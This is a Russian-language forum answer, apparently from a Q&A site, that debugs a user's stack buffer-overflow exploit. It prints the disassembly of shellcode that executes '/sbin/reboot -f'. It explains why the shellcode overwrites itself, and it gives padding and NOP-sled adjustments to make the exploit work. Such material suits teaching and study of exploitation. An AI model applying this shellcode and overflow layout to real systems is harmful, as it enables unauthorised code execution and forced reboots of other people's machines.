Итак, по моим расчетам, это то, что делает ваш шелл-код (здесь, в синтаксисе Intel Assembly):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
Ошибка сегментации происходит в 0xbffff1b8
, хотя, как вы можете видеть, код операции там совершенно корректен. Так что же могло случиться? Посмотрим ...
Вы можете заметить, что происходит довольно много push
. Все эти push
es перезаписывают данные в стеке вызовов. Всего 34 байта, если быть точным.
Да, тот же стек вызовов, где хранится сам шеллкод ... Вы соединяете точки? Шелкод перезаписывает себя и уничтожает свой собственный код. Все началось нормально, но к тому времени, когда он достиг 0xbffff1b8
, действующего кода уже не было, поскольку он был полностью перезаписан чем-то другим.
Вам необходимо убедиться, что длина padding
и eip
вместе составляет 34 или более, чтобы у шелл-кода было достаточно стекового пространства для работы, прежде чем он начнет перезаписывать свой собственный код.
Тем не менее, padding
должен быть как минимум на 18 байт длиннее.
Сократите nopsled
длину на 32 байта, просто чтобы сделать ее вместительной, и перенесите эти байты в padding
. Это должно зарезервировать достаточно стекового пространства для шелл-кода, чтобы он мог работать, не нарушая себя.
А поскольку адрес eip
в настоящее время составляет 44 байта до запуска шелл-кода, его не нужно настраивать.
Существуют и другие вещи, которые необходимо соблюдать, во-первых, после запуска шелл-кода его больше не волнует, что будет дальше. Это означает, что даже при работе по назначению эта программа будет аварийно завершать работу сразу после завершения перезагрузки.
Также для работы /sbin/reboot
может потребоваться доступ с правами root. Если этот процесс не выполняется от имени пользователя root, он не будет перезагружен (он просто аварийно завершится).